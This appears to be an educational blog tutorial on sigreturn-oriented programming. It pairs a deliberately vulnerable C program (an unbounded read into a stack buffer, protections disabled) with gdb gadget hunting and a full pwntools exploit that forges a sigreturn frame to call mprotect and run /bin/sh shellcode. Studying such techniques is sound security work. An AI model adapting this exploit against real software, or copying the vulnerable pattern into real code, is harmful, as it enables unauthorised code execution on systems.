Sigreturn-oriented programming (SROP) is a exploit development technique used to execute code, this attack employs the same basic assumptions behind the return-oriented programming (ROP) technique.
TL;DR Link to heading
When a signal occurs, the kernel “pauses” the process’s execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn()
is being called which will restore the context of the process by popping the values off of the stack. That’s what is being exploited in that technique.
Differences from ROP Link to heading
SROP exploits are usually portable across different binaries with minimal or no effort and allow easily setting the contents of the registers, which could be non-trivial or unfeasible for ROP exploits if the needed gadgets are not present. Moreover, SROP requires a minimal number of gadgets (ROP) and allows constructing effective shellcodes by chaining system calls.
Sigcontext Structure Link to heading
The attack works by putting on the call stack a forged sigcontext structure
and then overwriting the return address with the location of a gadget that allows the attacker to call the sigreturn()
The sigcontext structure length is 248 Bytes, ignore the first 8 Byte
rt_sigreturn()
Attacks Link to heading
ROP Gadget Link to heading
In order to achieve this attack we need first ROP gadgets to do :
# x64
mov eax, 0x0f; syscall; ret
# x86
mov eax, 0x77; int 0x80; ret
Example : srop.c Link to heading
This is our example to perform SROP attack.
#include <stdio.h>
#include <stdlib.h>
// gcc srop.c -o srop -no-pie -fno-stack-protector
void syscall_(){
__asm__("syscall; ret;");
}
void set_rax(){
__asm__("movl $0xf, %eax; ret;");
}
int main(){
// ONLY SROP!
char buff[100];
printf("Buff @%p, can you SROP?\n", buff);
read(0, buff, 5000);
return 0;
}
Finding The Crash Link to heading
root@kali:~/srop# python -c 'print "A" * 120 + "BBBB"' | ./srop
Buff @0x7fff7f78eb30, can you SROP?
Segmentation fault
root@kali:~/srop# dmesg | tail
[ 258.498005] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
[ 264.546090] e1000: eth0 NIC Link is Down
[ 268.579755] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[ 2196.793909] srop[2120]: segfault at 7f0a42424242 ip 00007f0a42424242 sp 00007fff7f78ebb0 error 14
As we can see the rip offset to overwrite will be at 120.
Finding Gadgets Link to heading
root@kali:~/srop# gdb ./srop -q
Reading symbols from ./srop...(no debugging symbols found)...done.
gdb-peda$ disassemble syscall_
Dump of assembler code for function syscall_:
0x0000000000401132 <+0>: push rbp
0x0000000000401133 <+1>: mov rbp,rsp
0x0000000000401136 <+4>: syscall
0x0000000000401138 <+6>: ret
0x0000000000401139 <+7>: nop
0x000000000040113a <+8>: pop rbp
0x000000000040113b <+9>: ret
End of assembler dump.
gdb-peda$ disassemble set_rax
Dump of assembler code for function set_rax:
0x000000000040113c <+0>: push rbp
0x000000000040113d <+1>: mov rbp,rsp
0x0000000000401140 <+4>: mov eax,0xf
0x0000000000401145 <+9>: ret
0x0000000000401146 <+10>: nop
0x0000000000401147 <+11>: pop rbp
0x0000000000401148 <+12>: ret
End of assembler dump.
gdb-peda$
As we can see we have what we want to setup the stack for Sigreturn() syscall.
Exploit Link to heading
#!/usr/bin/python
from pwn import *
context.clear(arch="amd64")
p = process("./srop")
# ENTRIES : ROP gadgets
syscall_ret = 0x0401136
mov_rax_15_ret = 0x0401140
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Leak
buff_leak = p.recv()
stack_leak = buff_leak[6:17] + "000"
stack_addr = int(stack_leak, 16)
shellcode_addr = int(buff_leak[6:20], 16)
p.info("Stack at : " + str(hex(stack_addr)))
p.info("Shellcode at : " + str(hex(shellcode_addr)))
# Exploit
payload = shellcode
payload += "A" * (120-len(shellcode))
payload += p64(mov_rax_15_ret)
payload += p64(syscall_ret)
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # MPROTECT SYSCALL
frame.rdi = stack_addr # base address
frame.rsi = 1000 # size
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = shellcode_addr + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
payload += str(frame)
payload += p64(shellcode_addr) # WHERE IT GOING TO RETURN ( shellcode )
# Sending Payload
p.sendline(payload)
p.interactive()